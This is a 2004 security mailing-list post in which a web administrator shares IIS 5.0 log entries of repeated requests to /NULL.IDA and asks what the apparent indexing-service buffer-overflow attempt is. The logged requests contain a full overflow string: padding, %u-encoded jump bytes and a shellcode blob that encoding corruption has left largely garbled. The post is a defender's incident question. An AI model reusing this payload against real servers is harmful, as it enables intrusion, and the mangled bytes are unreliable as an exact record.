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> To all on the list;
> 
>  Over the past few days I have been receiving a flurry of traffic on one
> of my web servers.  I suspect it to be sometime of automated scan but I
> have been unable to find anything listed on Google with this type of
> signature.  Fortunately whatever is going on is only getting a 404 error
> but I would like to learn a little more about what is going on.  From
> what I can tell from reading so far it looks like a buffer overrun
> attempt on the indexing service.  Below my signature you will find an
> except from my log file.  Any thoughts or insights would be appreciated.
> 
> Sean Warnock
> swarnock@warnocksolutions.com
> 
> #Software: Microsoft Internet Information Services 5.0
> #Version: 1.0
> #Date: 2004−02−27 01:28:43
> #Fields: date time c−ip cs−username s−ip s−port cs−method cs−uri−stem
> cs−uri−query sc−status cs(User−Agent) cs(Referer)
> 2004−02−27 05:03:10 211.109.254.187 − 192.168.200.202 80 GET /Default.htm
> − 200 − −
> 2004−02−27 05:03:10 211.109.254.187 − 192.168.200.202 80 GET /NULL.IDA
> CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%udacf%u77ee%u0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Ã«+Â�Â�Â�_Ã«�Â�Â�Â�Ã¨ÃµÃ¿Ã¿Ã¿Â�oÃ°Â�}−Â�Â�Â�â€¹Ã·fÂ¸H3Ã‰fâ€¹ÃˆÂ´â„¢Ã¼Â¬2Ã„ÂªÃ¢Ãº�$Ã¬Å¸â„¢â„¢eÂªP(Â¹)Â½k7_Ã�fâ„¢qâ€�Â�â„¢â„¢q�Â�â„¢â„¢qÃ—â€ºâ„¢â„¢��ÃšÅ“â„¢â„¢qÃˆâ€ºâ„¢â„¢qÂ½Å¡â„¢â„¢��Ã�Å“â„¢â„¢q'Ëœâ„¢â„¢��Ã–Å“â„¢â„¢��Ã�Å“â„¢â„¢qÃ¦â€ºâ„¢â„¢��Ã’Å“â„¢â„¢qÃ‡â„¢â„¢â„¢q�â„¢â„¢â„¢�aâ„¢Ã-y��Ã’Å“â„¢â„¢Ã‰f+â€�Å¸â„¢â„¢��Ã�Å“â„¢â„¢Ã‰f+â€�Å¸â„¢â„¢��Â¶Å“â„¢â„¢Ã‰f+Å“â„¢â„¢��Â¢Å“â„¢â„¢Ã‰f+Å“â„¢â„¢!â„¢â„¢â„¢â„¢Ã‰��Ã–Å“â„¢â„¢Ã‰f+\Å“â„¢â„¢!â„¢â„¢â„¢â„¢Ã‰f+OÅ“â„¢â„¢Z��Ã’Å“â„¢â„¢Ã³â„¢Ã³â‚¬��Å¡Ëœâ„¢â„¢Ã‰��Ã’Å“â„¢â„¢Ã‰f+Å¡Å¸â„¢â„¢Zâ€�â€œÃ�Ã°Ã·Ã·Ã-Ã˜Ã¬Ã-Ã¶Ã˜Ã-Ã-Ã¸ÃºÃ²Â¹Ã�Â«Â©â€�â€œâ€�â€œÃ±+â„¢â„¢â„¢f+&Å“â„¢â„¢��Â¶Å“
 â„¢â„¢q_â„¢â„¢â„¢�afâ€“�/â„¢â„¢â„¢�aâ„¢Ã-Ã�++++Ã³â„¢��Â¦Å“â„¢â„¢Ã‰Ã±â„¢Â�â„¢â„¢��ÃšÅ“â„¢â„¢Ã‰��Â¶Å“â„¢â„¢Ã‰f+/Å“â„¢â„¢�aâ„¢â€“��â„¢â„¢â„¢Ã³â„¢��Â¦Å“â„¢â„¢Ã‰��ÃšÅ“â„¢â„¢Ã‰��Ã’Å“â„¢â„¢Ã‰f+Å¡Å¸â„¢â„¢�afÃ-Ã½++++r�Ã³â„¢Ã±â„¢Â�â„¢â„¢��ÃšÅ“â„¢â„¢Ã‰��Ã’Å“â„¢â„¢Ã‰f+â€˜Å¸â„¢â„¢�aâ„¢Ã-Â§++++�afÃ-Â¬++++ÂªBÃŠ��Â¦Å“â„¢â„¢ÃŠÃ‰��ÃšÅ“â„¢â„¢Ã‰��Â¢Å“â„¢â„¢Ã‰f+5Å“â„¢â„¢�aâ„¢Ã-Â�++++pÂ²fffÂªYÃ‘ZÂªYZÂªBÃŠ��Â½â€ºâ„¢â„¢ÃŠÂªBÃŠÃŠÃŠÃ‰f++Å“â„¢â„¢�aâ„¢Ã-â€™++++��Â½â€ºâ„¢â„¢Z!ffffZâ„¢â„¢â„¢â„¢��ÃšÅ“â„¢â„¢^â„¢Ã�â„¢â„¢â„¢Ã‰f+Ã¾Å“â„¢â„¢��ÃšÅ“â„¢â„¢��ÂªÅ“â„¢â„¢�ÃšÃ™�ÃšÂ¥��Â®Å“â„¢â„¢�ÃšÂ¡!ËœËœâ„¢â„¢�ÃšÂµÃŠÃŠÂªYÃ‰Ã‰Ã‰Ã™Ã‰Ã‘Ã‰Ã‰��Ã¬Å¸â„¢â„¢Ã‰ÂªYÃ‰f+Ã®Å“â„¢â„¢��ÂªÅ“â„¢â„¢Ã‰f+Å“â„¢â„¢��Â®Å“â„¢â„¢Ã‰f+Å“â„¢â„¢��ÃšÅ“â„¢â„¢�â„¢ZÃ±â„¢Â�â„¢â„¢Ã³Ã™f+9Å“â„¢â„¢ZÂªYÃ‰��wâ€ºâ„¢â„¢^â„¢â€¢â„¢â„¢â„¢Ã‰��ÂªÅ“â„¢â„¢Ã‰��Â¶Å“â„¢â„¢Ã‰f+Ã…Å“â„¢â„¢ÂªYÃ‰��wâ€ºâ„¢â„¢Ã‰��Â¢Å“â„¢â„¢Ã‰��Â®Å“â„¢â„¢Ã‰f+Ã…Å“â„¢â„¢Zâ„¢â„¢â„¢â„¢â„¢â„¢â„¢â„¢Ëœâ„¢â„¢â„¢Ã‰��Â¸Å¡â„¢â„¢^Å¡â€°â„¢â„¢â„¢ÃŠ��Ã›Â�â„¢â„¢ÃŠÃ‰f+eÅ“â„¢â„¢�A�aâ„¢Ã�Ã¥E�ZZâ€°â„¢â„¢â„¢Ã³Å ��Ã¶Å
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> 404 − −
> 2004−02−27 05:03:16 211.109.254.187 − 192.168.200.202 80 GET /NULL.IDA
> CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ueac3%u77f0%u0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Â�Ã«+Â�Â�Â�_Ã«�Â�Â�Â�Ã¨ÃµÃ¿Ã¿Ã¿Â�oÃ°Â�}−Â�Â�Â�â€¹Ã·fÂ¸H3Ã‰fâ€¹ÃˆÂ´â„¢Ã¼Â¬2Ã„ÂªÃ¢Ãº�$Ã¬Å¸â„¢â„¢eÂªP(Â¹)Â½k7_Ã�fâ„¢qâ€�Â�â„¢â„¢q�Â�â„¢â„¢qÃ—â€ºâ„¢â„¢��ÃšÅ“â„¢â„¢qÃˆâ€ºâ„¢â„¢qÂ½Å¡â„¢â„¢��Ã�Å“â„¢â„¢q'Ëœâ„¢â„¢��Ã–Å“â„¢â„¢��Ã�Å“â„¢â„¢qÃ¦â€ºâ„¢â„¢��Ã’Å“â„¢â„¢qÃ‡â„¢â„¢â„¢q�â„¢â„¢â„¢�aâ„¢Ã-y��Ã’Å“â„¢â„¢Ã‰f+â€�Å¸â„¢â„¢��Ã�Å“â„¢â„¢Ã‰f+â€�Å¸â„¢â„¢��Â¶Å“â„¢â„¢Ã‰f+Å“â„¢â„¢��Â¢Å“â„¢â„¢Ã‰f+Å“â„¢â„¢!â„¢â„¢â„¢â„¢Ã‰��Ã–Å“â„¢â„¢Ã‰f+\Å“â„¢â„¢!â„¢â„¢â„¢â„¢Ã‰f+OÅ“â„¢â„¢Z��Ã’Å“â„¢â„¢Ã³â„¢Ã³â‚¬��Å¡Ëœâ„¢â„¢Ã‰��Ã’Å“â„¢â„¢Ã‰f+Å¡Å¸â„¢â„¢Zâ€�â€œÃ�Ã°Ã·Ã·Ã-Ã˜Ã¬Ã-Ã¶Ã˜Ã-Ã-Ã¸ÃºÃ²Â¹Ã�Â«Â©â€�â€œâ€�â€œÃ±+â„¢â„¢â„¢f+&Å“â„¢â„¢��Â¶Å“
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